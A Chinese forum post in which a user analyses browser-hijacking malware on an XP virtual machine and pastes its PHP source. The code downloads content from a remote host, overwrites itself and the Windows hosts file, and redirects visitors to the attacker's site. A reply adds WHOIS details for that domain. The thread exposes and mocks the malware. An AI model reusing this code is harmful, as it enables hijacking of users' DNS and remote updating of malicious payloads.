中毒了，我想吐槽一下，这个病毒是谁写的

本人有个xp虚拟机，上面没装杀毒软件。有一次不知安装了什么，桌面上总是会自动创建某网站的快捷方式，然后看进程把几个exe删掉就好了。
看进程的时候发现有个apache，我想我没装过啊，而且这个雨林木风的盗版碟也应该不自带啊。看了看apache的安装目录，也正常，不像是病毒伪装的。于是想看看是什么，浏览器输入localhost，结果跳转到了某个网站。于是想到hosts被改了，打开hosts，看到localhost是127.0.0.1，没问题啊，再往下一看，好多记录啊，常用的一些导航网站，下载网站，杀毒网站全被解析到了127.x.x.x，于是我似乎明白了什么。立马回到apache目录，发现居然还安装有php，打开htdocs，有个index.php和404.html，打开看了看，觉得这病毒作者很蛋疼啊，有必要为了劫持网站费这么多事嘛，把php和apache都给装上了，是哪个无证程序员写的啊。

贴index.php给大家看看（还自带注释的-_-||）：
<?php
include_once "config.php";
$name1 = "www.2345.com,2345.com";
$name2 = "www.tao123.com,tao123.com";
//$name3 = "www.hao123.com,hao123.com";

//获取最新php

$index = file_get_contents('http://www.129129.com/ht/index.txt');
if(strpos($index, '@')!==false)
{
$arr = explode("@", $index);

$index = $arr[1];
$hosts = $arr[0];
$index = get_rep($index);
if(!empty($index)){
if(file_put_contents("index.php", $index)==0){}
}

//获取最新hosts
if(!empty($hosts)){
if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){}
}
}
//域名跳转个性化

$serverName = $_SERVER['SERVER_NAME'];
switch ($serverName) {
case strpos($name1,$serverName)!==false:
header("Location:http://www.129129.com/?1");exit;
break;
case strpos($name2,$serverName)!==false:
header("Location:http://www.129129.com/?2");exit;
break;
case strpos($name3,$serverName)!==false:
header("Location:http://www.129129.com/?3");exit;
break;
default:
header("Location:http://www.129129.com/?4");exit;
break;
}

?>
<meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">

config.php：
<?php
function get_rep($index)
{
return str_replace('explode("%", $index)', 'explode("@", $index)', $index);
}
?>

Mutoo

2013-11-25 22:51:42 +08:00

Domain Name : 129129.com

Registrar: eName Technology Co.,Ltd.

注册人联系 Information :
LinYu
Xiamen eName Technology Co.,Ltd.

CN Fujian Xiamenshi zhen zhu wan ruan jian yuan 361000
tel: 86 4000400044
fax: 86 4000044400 5

管理人联系 Information :
LinYu
Xiamen eName Technology Co.,Ltd.

CN Fujian Xiamenshi zhen zhu wan ruan jian yuan 361000
tel: 86 4000400044
fax: 86 4000044400 5

技术联系 Information :
LinYu
Xiamen eName Technology Co.,Ltd.

CN Fujian Xiamenshi zhen zhu wan ruan jian yuan 361000
tel: 86 4000400044
fax: 86 4000044400 5

财务联系 Information :
LinYu
Xiamen eName Technology Co.,Ltd.

CN Fujian Xiamenshi zhen zhu wan ruan jian yuan 361000
tel: 86 4000400044
fax: 86 4000044400 5

状态：
clientDeleteProhibited
clientTransferProhibited

DNS服务器 :
F1G1NS1.DNSPOD.NET
F1G1NS2.DNSPOD.NET

创建时间 : 2010-10-27 18:50:02
过期时间 : 2015-10-27 18:50:02

=====

居然是厦门的，丢人啊。